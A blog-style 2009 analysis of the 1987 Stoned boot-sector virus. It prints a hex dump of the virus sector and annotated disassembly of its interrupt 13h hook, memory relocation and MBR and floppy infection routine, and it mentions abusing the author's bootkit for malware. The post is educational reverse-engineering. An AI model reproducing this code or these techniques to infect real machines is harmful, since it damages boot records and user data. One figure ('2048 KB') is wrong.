Analysis of Stoned

Abstract

I am currently moving to my big project 'Stoned'. It is an open source bootkit, which means you can use it for creating your own boot software (diagnostic tools, backup solutions, etc.) or for abusing it to create your own boot virus or malware loader. My Stoned Bootkit was named after the very first boot virus/infector "Stoned", which was developed in 1987 in New Zealand by a student. The virus is quite old, but still able to infect Vista (see links). It also has obfuscation and contains some nice tricks I want to explain here.

Peter Kleissner, Software Dev. Guru (April 2009)

What Wikipedia is saying about Stoned

First, let's take a look what Wikipedia knows about Stoned. The article is quite very good (but the german one even better). So here's the first paragraph (also linked below under references):

"Stoned is the name of a boot sector computer virus created in 1987, apparently in New Zealand.[1] It was one of the very first viruses, and was, along with its many variants, very common and widespread in the early 1990s.[2]

When an infected computer started, there was a one in eight probability that the screen would declare:"

Your PC is now Stoned!

Boot Virus

Stoned is one of the very first boot viruses, apparently an infector. It writes itself to floppies and hard disks (Master Boot Record) and backs up the original bootloader it overwrites. The original Stoned virus (Stoned.A) is 512 bytes (1 sector) big. It originally comes from a floppy drive, but has the space for the Partition Table preserved so can also act on hard disks. Binary listing of the original Stoned virus:

00000000  EA 05 00 C0 07 E9 99 00 00 51 02 00 C8 E4 00 80  .....Q...
00000010  9F 00 7C 00 00 1E 50 80 FC 02 72 17 80 FC 04 73  .|...P.r..s
00000020  12 0A D2 75 0E 33 C0 8E D8 A0 3F 04 A8 01 75 03  ..u.3 ?..u.
00000030  E8 07 00 58 1F 2E FF 2E 09 00 53 D1 52 06 56 57  ..X.....SR.VW
00000040  BE 04 00 B8 01 02 0E 07 BB 00 02 33 C9 8B D1 41  ........3ɋA
00000050  9C 2E FF 1E 09 00 73 0E 33 C0 9C 2E FF 1E 09 00  ....s.3....
00000060  4E 75 E0 EB 35 90 33 F6 BF 00 02 FC 0E 1F AD 3B  Nu5.3.....;
00000070  05 75 06 AD 3B 45 02 74 21 B8 01 03 BB 00 02 B1  .u..;E.t!....
00000080  03 B6 01 9C 2E FF 1E 09 00 72 0F B8 01 03 33 DB  ......r...3
00000090  B1 01 33 D2 9C 2E FF 1E 09 00 5F 5E 07 5A 59 5B  .3Ҝ...._^.ZY[
000000A0  C3 33 C0 8E D8 FA 8E D0 BC 00 7C FB A1 4C 00 A3  3м.|L.
000000B0  09 7C A1 4E 00 A3 0B 7C A1 13 04 48 48 A3 13 04  .|N..|..HH..
000000C0  B1 06 D3 E0 8E C0 A3 0F 7C B8 15 00 A3 4C 00 8C  ..|..L.
000000D0  06 4E 00 B9 B8 01 0E 1F 33 F6 8B FE FC F3 A4 2E  .N....3.
000000E0  FF 2E 0D 00 B8 00 00 CD 13 33 C0 8E C0 B8 01 02  ......3..
000000F0  BB 00 7C 2E 80 3E 08 00 00 74 0B B9 07 00 BA 80  .|.>...t...
00000100  00 CD 13 EB 49 90 B9 03 00 BA 00 01 CD 13 72 3E  ..I......r>
00000110  26 F6 06 6C 04 07 75 12 BE 89 01 0E 1F AC 0A C0  &.l..u.....
00000120  74 08 B4 0E B7 00 CD 10 EB F3 0E 07 B8 01 02 BB  t........
00000130  00 02 B1 01 BA 80 00 CD 13 72 13 0E 1F BE 00 02  .....r.....
00000140  BF 00 00 AD 3B 05 75 11 AD 3B 45 02 75 0B 2E C6  ...;.u..;E.u..
00000150  06 08 00 00 2E FF 2E 11 00 2E C6 06 08 00 02 B8  .............
00000160  01 03 BB 00 02 B9 07 00 BA 80 00 CD 13 72 DF 0E  ........r.
00000170  1F 0E 07 BE BE 03 BF BE 01 B9 42 02 F3 A4 B8 01  .....B..
00000180  03 33 DB FE C1 CD 13 EB C5 07 59 6F 75 72 20 50  .3..Your P
00000190  43 20 69 73 20 6E 6F 77 20 53 74 6F 6E 65 64 21  C is now Stoned!

Download the full Binary Listing.

Memory Layout

For overview, take a look at following memory layout:

; Memory Table
;   0000h:7C00h     Stoned Bootloader will be loaded here by BIOS
;   XXXXh:0000h     Stoned will copy itself to there
;   XXXXh:0200h     Any original bootloader from floppy/hard disk will be read here to
; backups original bootloader from hard disk to logical sector 6
; backups original bootloader from floppys at logical sector 2, head 1

The source code consists of 3 parts: A Jump Table, an Interrupt 13h Service Handler and an initial infect/start code. Let's take a look at the jump table at the very beginning:

; jump table!
; ..stores just segments and offsets (will be patched at runtime)
00000000  EA0500C007        jmp word 07C0h:Set_Code_Segment                     ; make a jump to set correct Code Segment
Set_Code_Segment:
00000005  E99900            jmp Stoned_Start                                    ; initial address of stoned boot virus
Hard_Disk_Infected:
00000008  00                db 0                                                ; 0 = not infected, 2 = hard disk infected
Int_13h_Offset:
00000009  5102              dw 0000h                                            ; offset of original Interrupt 13h handler
Int_13h_Segment:
0000000B  00C8              dw 0000h                                            ; segment of original Interrupt 13h handler
Relocated_Memory_Offset:
0000000D  E400              dw Relocated_Memory                                 ; offset of relocated memory (this is useful for compiling Stoned into multiple parts)
Relocated_Memory_Segment:
0000000F  809F              dw 0000h                                            ; patched dynamically
Original_Bootloader_Offset:
00000011  007C              dw 7C00h                                            ; recognizing that address ;)
Original_Bootloader_Segment:
00000013  0000              dw 0000h                                            ; never used

This is a very nice idea but shows how old the code is (such jump tables are very old coding techniques, this isn't done nowadays). It stores for the virus important segment and offset addresses (this is todays not needed anymore - compare against the flat memory model). It contains backup of original Interrupt 13h handler address, offset of the new Stoned Interrupt 13h handler and a pointer to the address where the original bootloader will be loaded to. So mainly a backup/original address table.

Interrupt 13h Handler Relocation

Next, take a look at the Stoned Interrupt 13h handler. It is relocated to the end of memory - always done by using the "base memory in size" variable of the BIOS Data Area:

; allocate 2048 bytes memory from the end of real mode memory
000000B8  A11304            mov ax,[0x413]                                      ; MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
000000BB  48                dec ax
000000BC  48                dec ax
000000BD  A31304            mov [0x413],ax

--------B-M00400013--------------------------
MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
Size:	WORD
SeeAlso: INT 12

The code takes the size of base memory (= free memory from zero) and decrements it by 2 KB. This tells the BIOS/system that there is now 2048 KB less memory, which will be used to copy the Interrupt 13h handler into:

; * 1024 / 16 = Segment Size
000000C0  B106              mov cl,6                                            ; 6 bits left shift = * 64
000000C2  D3E0              shl ax,cl
000000C4  8EC0              mov es,ax
000000C6  A30F7C            mov [7C00h + Relocated_Memory_Segment],ax           ; store segment of relocated memory for later usage

Here we also see the jump table used for recognizing the new addres for the Interrupt handler. Following code registers now the address of the new allocated memory to the Interrupt 13h in the Interrupt Vector Table:

; set new Interrupt 13h handler
000000C9  B81500            mov ax,Interrupt_13h
000000CC  A34C00            mov [13h * 4 + 0],ax                                ; Offset
000000CF  8C064E00          mov [13h * 4 + 2],es                                ; Segment

The IVT contains the addresses to the interrupt handlers as Segment:Offset, which means first 2 bytes Offset and following 2 bytes Segment. Now the relocation code, that copies the Interrupt 13h handler:

; now relocate this code to new allocated memory, where int 13h points to
000000D3  B9B801            mov cx,440                                          ; 440 bytes to copy (everything up to the Partition Table)
000000D6  0E                push cs
000000D7  1F                pop ds                                              ; from ds:si (code segment:0)
000000D8  33F6              xor si,si
000000DA  8BFE              mov di,si                                           ; to es:di (allocated memory:0)
000000DC  FC                cld
000000DD  F3A4              rep movsb                                           ; rep movsd would be faster, but wasn't invented that time ;)

This is quite cool, because this way is exactly the same as used by todays bootkits like Sinowal. I think I've explained it also a bit how's done in Sinowal, but not that detailed.

Interrupt 13h Handler

The Interrupt 13h handler of Stoned is responsible for infecting floppies on-the-fly. Everytime invoked, it checks if read/write/verify commands are requested and hooks them. That means it checks the targeting floppy if it is already infected (compares the first 4 bytes of the floppies bootloader with itself). If not, it backs up the original bootloader to sector 3, head 1 and writes itself (Stoned) to the bootloader.

It is important to say that Stoned only hooks the old I/O commands - not the new ones (Extended Functions), which are nowadays normally always used. The reason why Stoned misses to hook that function is that they weren't invented in 1987 =), they were developed in mid nineties. So depending on the programmer/program the infector works only limited.

Startup Code

The very first code of Stoned executed does relocation (to the end of memory as discussed above) and initially infects the hard disk MBR and the floppy bootloader (if available). It will also print out the famous message "Your PC is now Stoned!".

Symptoms and it's code

Wikipedia says "When an infected computer started, there was a one in eight probability that the screen would declare: Your PC is now Stoned!". The one in eight probability results from following piece of code:

; display the message only if multiple of 440 ms time delay
00000110  26F6066C0407      test byte [es:046Ch],00000111b                      ; 0000h:046Ch = Timer ticks since midnight (updated every 55 milliseconds by BIOS)
00000116  7512              jnz Message_Output_Finished

1 that all 3 bits are clear (= output message) and 7 that one or more bits are set. The code uses (again) a variable of the BIOS Data Area (Timer Ticks).

Further it has been described in (at least the German) Wikipedia article that a symptom is that the computer "loses" 2048 bytes of memory, which is the result of the relocation (discussed above). Another point was that files could vanish - this is because the back up is done for floppies on head 1 sector 3, which could be occupied by FAT root directory (if there is a large amount of files).

You may download the Stoned Source Code here.

References